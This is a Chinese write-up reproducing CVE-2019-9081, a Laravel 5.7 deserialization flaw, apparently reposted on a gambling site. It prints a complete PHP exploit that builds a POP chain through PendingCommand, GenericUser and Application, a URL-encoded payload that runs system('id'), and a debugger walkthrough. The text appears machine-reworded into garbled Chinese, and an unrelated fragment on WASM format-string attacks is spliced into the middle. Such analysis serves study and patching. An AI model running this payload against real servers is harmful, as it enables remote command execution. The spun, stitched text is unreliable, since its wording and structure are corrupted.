Laravel入坑之CVE-2019-9081复现剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Laravel入坑之CVE-2019-9081复现剖析

申博_安全防护 申博 175次浏览 已收录 0个评论

背景

  近来在进修Laravel框架的代码审计,正好经由过程qwb线下的一道web相识到CVE-2019-9081,便细致地连系exp并应用断点跟踪对破绽举行了复现剖析,从中也学到了不少PHP开辟以及Laravel框架的学问,纪录一下,愿望对想入坑Laravel代码审计的师傅们有所协助,假如那里表述有误,请师傅们指出~

1.剖析预备

1.1破绽形貌

  Laravel Framework是Taylor Otwell软件开辟者开辟的一款基于PHP的Web应用顺序开辟框架。Illuminate是个中的一个组件。Laravel Framework 5.7.x版本中的Illuminate组件存在反序列化破绽,长途进击者可应用该破绽实行代码

1.2环境搭建

  由于Laravel请求PHP的版本 >= 7.1.3,ubuntu16.04默许php7.0版本,因而环境中运用的php版本为7.2,切换php版本敕令以下

# 禁用 Apache 中的 PHP7.0
sudo a2dismod php7.0
# 启用 PHP7.2
sudo a2enmod php7.2
# 重启 Apache
sudo systemctl restart apache2.service

  今后看到下图即申明搭建胜利
Laravel入坑之CVE-2019-9081复现剖析

1.3破绽文件形貌

  破绽出如今PendingCommand.php文件中,相识一个API用法的最快体式格局固然是查官方文档的函数申明去相识啦(Laravel5.7API函数申明)
Laravel入坑之CVE-2019-9081复现剖析
  个中存在反序列化要领__destruct(),而且在个中挪用了run函数来实行敕令,那末思绪就为经由过程反序列化该类的实例对象来挪用run要领实行敕令到达rce的效果
Laravel入坑之CVE-2019-9081复现剖析
  由于要连系exp举行剖析,因而先贴出exp

WASM格式化字符串攻击尝试

前置知识 wasm不是asm. wasm可以提高一些复杂计算的速度,比如一些游戏 wasm的内存布局不同与常见的x86体系,wasm分为线性内存、执行堆栈、局部变量等. wasm在调用函数时,由执行堆栈保存函数参数,以printf函数为例,其函数原型为 int printf(const char *restrict fmt, …);
函数的参数分别为 格式化字符串 格式化字符串参数列表 我们编译以下代码 // emcc test.c -s WASM=1 -o test.js -g3
#include
#include

void EMSCRIPTEN_KEEPALIVE test()
{
sprintf(“%d%d%d%d”, 1, 2, 3, 4);
return;
}
在chrome中调试,可以看到在调用printf函数时执行堆栈的内容为 stack:
0: 1900
1: 4816 其中的0,1分别为printf的两个参数,1900,4816分别指向参数对应的线性内存地址,拿1900为例,其在线性内存中的值为 1900: 37
1901: 100
1902: 37
1903: 100
1904: 37
1905: 100
1906: 37
1907: 100
1908: 0 即%d%d%d%d\x00 部分读 获取栈上变量的值 当存在格式化字符串漏洞时,我们可以直接通过%d%d%d%d

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;
        public function __construct($command, $parameters,$class,$app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;
        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
namespace{
    $genericuser = new Illuminate\Auth\GenericUser(
        array(
            "expectedOutput"=>array("0"=>"1"),
            "expectedQuestions"=>array("0"=>"1")
             )
    );
    $application = new Illuminate\Foundation\Application(
        array(
            "Illuminate\Contracts\Console\Kernel"=>
                array(
                    "concrete"=>"Illuminate\Foundation\Application"
                     )
             )
    );
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
        "system",array('id'),
        $genericuser,
        $application
    );
    echo urlencode(serialize($pendingcommand));
}
?>

  个中在PendingCommand的组织要领中要传入的症结四个变量以下所示,也是exp组织的症结,个中$command和$parameters也就是我们要实行的敕令和参数
Laravel入坑之CVE-2019-9081复现剖析

2.断点跟踪剖析

  由于该破绽存在与Laravel组件中,因而要基于Laravel举行二次开辟后可以存在此反序列化破绽,qwb问题中直接经由过程$_GET[‘code’]传入的参数举行unserialize(),所以起首在unserialize()处下断点,实行exp天生的payload后将停在此处,此时F7步入unserialize函数举行剖析
Laravel入坑之CVE-2019-9081复现剖析
  按道理说如今下一步就是触发__destruct函数,但payload中要运用3个类,关于Laravel这类大型框架而言固然少不了一些处置惩罚步骤,在左下方的函数挪用栈中发现涌现了两处挪用,起首挪用spl_autoload_call()要领
Laravel入坑之CVE-2019-9081复现剖析
Laravel入坑之CVE-2019-9081复现剖析
  由于我们在payload中运用的类在Task掌握器中并没有加载进来,因而便触发了PHP的自动加载的功用,也就是完成了 lazy loading,以加载类PendingCommand为例举行剖析(别的所用到的类加载体式格局雷同):关于PHP自动加载的相干形貌可以参考(PHP 自动加载功用道理剖析)
  起首是类AliasLoadder中load要领的挪用,个中涉及到运用Laravel框架所带有的Facade功用去尝试加载我们payload中所须要的类,Facade形貌以下
Laravel入坑之CVE-2019-9081复现剖析
  在Laravel框架中推断的逻辑主如果有2条

  • 用户供应所要加载的类是不是是个中包括”Facades”,假如是则经由过程loadFacade()函数举行加载
  • 在Illuminate\Support\Facades定名空间中寻觅是不是含有用户所要加载的类
    Laravel入坑之CVE-2019-9081复现剖析
    Laravel入坑之CVE-2019-9081复现剖析
      假如经由过程load()要领没有加载胜利,则会挪用loadclass()函数举行加载,而loadclass()函数中经由过程挪用findfile()函数去尝试经由过程Laravel中的composer的自动加载功用含有的classmap去尝试寻觅要加载的类所对应的类文件位置,此时将会加载vendor目次中所有组件, 并天生namespace + classname的一个 key => value 的 php 数组来对所包括的文件来举行一个婚配
    Laravel入坑之CVE-2019-9081复现剖析
    Laravel入坑之CVE-2019-9081复现剖析
    Laravel入坑之CVE-2019-9081复现剖析
    Laravel入坑之CVE-2019-9081复现剖析
      找到类PendingCommand所对应的文件后,将经由过程includeFile()函数举行包括,从而完成类PendingCommand的全部加载流程,加载完所须要的类后,将进入__destruct要领,此时hasExecuted属性默许为false,即还没有实行敕令,所以此时才挪用run要领
    Laravel入坑之CVE-2019-9081复现剖析
    继承运用F7进入用于实行敕令的run()函数举行剖析
    Laravel入坑之CVE-2019-9081复现剖析
      在run要领中,起首要挪用mockConsoleOutput()要领,该要领重要用于模仿应用顺序的掌握台输出,此时由于要加载类Mockery和类Arrayinput,所以又要经由过程spl_autoload_call->load->loadclass加载所须要的类,而且此时又会挪用createABufferedOutputMock()函数
    Laravel入坑之CVE-2019-9081复现剖析
      按F7进入createABufferedOutputMock视察一下其内部的完成,个中又挪用了Mockery的mock()函数,Mockery是一个简朴而天真的PHP模仿对象框架,在 Laravel 应用顺序测试中,我们可以愿望「模仿」应用顺序的某些功用的行动,从而防止该部分在测试中真正实行。此时继承F7进入mock函数,进入今后直接F8单步实行即可,我们的目标只须要此段代码可以往下实行,在调试的过程当中我觉得并不一定要搞清每一个变量每一个函数的作用,大型框架挪用链实在是太长太庞杂,而且只需它不失足能往下走就行
    Laravel入坑之CVE-2019-9081复现剖析

2.1exp组织症结点1

Laravel入坑之CVE-2019-9081复现剖析
  此时在createABufferedOutputMock()要领中要进入for轮回,而且在个中要挪用test的expectedOutput属性,然而在可以实例化的类中不存在expectedOutput属性(经由过程ctrl+shift+F即可举行全局搜刮),只在一些测试类中存在,听马师傅说测试类平常不会去加载,所以组织pop链时平常不必测试类
Laravel入坑之CVE-2019-9081复现剖析
  所以这里要用到php把戏要领中的一个小trick,也是经常在ctf题中可以碰到的,当接见一个类中不存在的属性时会触发get()要领,经由过程去触发get()要领去进一步组织pop链,而在Illuminate\Auth\GenericUser的get要领中存在以下逻辑
Laravel入坑之CVE-2019-9081复现剖析
  而此时$this->test是Illuminate\Auth\GenericUser的实例化对象,其是我们传入的,那末其是可以掌握的,即attributes属性也是我们可以掌握的,那当发作$this->test->expectedOutput的挪用时,我们只须要让attributes中存在键名为expectedOutput的数组,即数组中有内容就可以经由过程轮回流程举行返回,继承F8单步实行即可跳出createABufferedOutputMock()要领
Laravel入坑之CVE-2019-9081复现剖析
此时回到mockConsoleOutput()函数中,又举行了一个轮回遍历,挪用了test对象的的expectedQuestions属性,内里的轮回体与createABufferedOutputMock()函数的轮回体雷同,因而绕过要领也是经由过程挪用
get()要领,设置一个键名为expectedQuestions的数组即可,此时将继承往下走,继承F8单步调试就可以return $mock,从而走出mockConsoleOutput()函数,接下来回到run函数中

2.2exp组织症结点2

Laravel入坑之CVE-2019-9081复现剖析
  此时到了触发rce的症结点, 个中涌现了$this->app[Kernel::class]->call要领的挪用,个中Kernel::class在这里是一个固定值Illuminate\Contracts\Console\Kernel,而且call的参数为我们所要实行的敕令和敕令参数($this->command, $this->parameters),那我们此时须要弄清$this->app[Kernal::class]返回的是哪一个类的对象,运用F7步入顺序内部举行剖析
Laravel入坑之CVE-2019-9081复现剖析
  直到获得以下的getConcrete的挪用栈,此时继承F8单步实行到应用payload的语句,此时由于$this为Illuminate\Foundation\Application,bindings属性是Container类的,而这里也是payload中挑选Applocation作为app参数值的缘由,那末经由过程反序列化我们可以掌握bindings属性,而此时$abstract为固定值,即只须要让$bindings为一个二维数组,个中键$abstract作为数组,个中存在键名为concrete,键值为我们想要实例化的类Application即可
Laravel入坑之CVE-2019-9081复现剖析
  此时继承F8往下走,到了实例化Application类的时候, 此时要满足isBuildable函数才够举行build,因而F7步入检察
Laravel入坑之CVE-2019-9081复现剖析
  此时$concrete为Application,而$abstract为kernal,显著不满足,而且||右侧$concrete显著不是闭包类的实例化,所以此时不满足Application实例化前提,此时继承F7,此时将会挪用make函数,而且此时将$abstract赋值为了Application,而且make函数又挪用了resolve函数,即完成了第二次挪用isBuildable()函数推断是不是可以举行实例化,即此时已可以胜利实例化类Application,即完成了$this->app[Kernel::class]为Application对象的转化
Laravel入坑之CVE-2019-9081复现剖析
Laravel入坑之CVE-2019-9081复现剖析
  接下来将挪用类Application中的call要领,即其父类Container中的call要领
Laravel入坑之CVE-2019-9081复现剖析个中第一个分支isCallableWithAtSign()推断回调函数是不是为字符串而且个中含有”@”,而且$defaultMethod默许为null,显著此时不满足if前提,即进入第二个分支,callBoundMethod()函数的挪用
Laravel入坑之CVE-2019-9081复现剖析
  个中第一个分支isCallableWithAtSign()推断回调函数是不是为字符串而且个中含有”@“,而且$defaultMethod默许为null,显著此时不满足if前提,即进入第二个分支,callBoundMethod()函数的挪用
Laravel入坑之CVE-2019-9081复现剖析
  在callBoundMethod()函数中将挪用call_user_func_array()函数来实行终究的敕令,起首$callback为”system”,参数为静态要领getMethodDependencies()函数的返回值,F7步入看看
Laravel入坑之CVE-2019-9081复现剖析
  在return处可以看到此时挪用array_merge函数将$dependencies数组和$parameters数组举行兼并,然则$dependencies数组为空,因而对我们要实行敕令的参数不产生影响,即在此步返回将实行敕令,即完成

call_user_func_array('system',array('id'))

  此时run函数中$exitcode值即为敕令的实行效果
Laravel入坑之CVE-2019-9081复现剖析

3.进击效果

payload:
http://localhost/laravel-5.7/public/index.php/index?code=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Laravel入坑之CVE-2019-9081复现剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址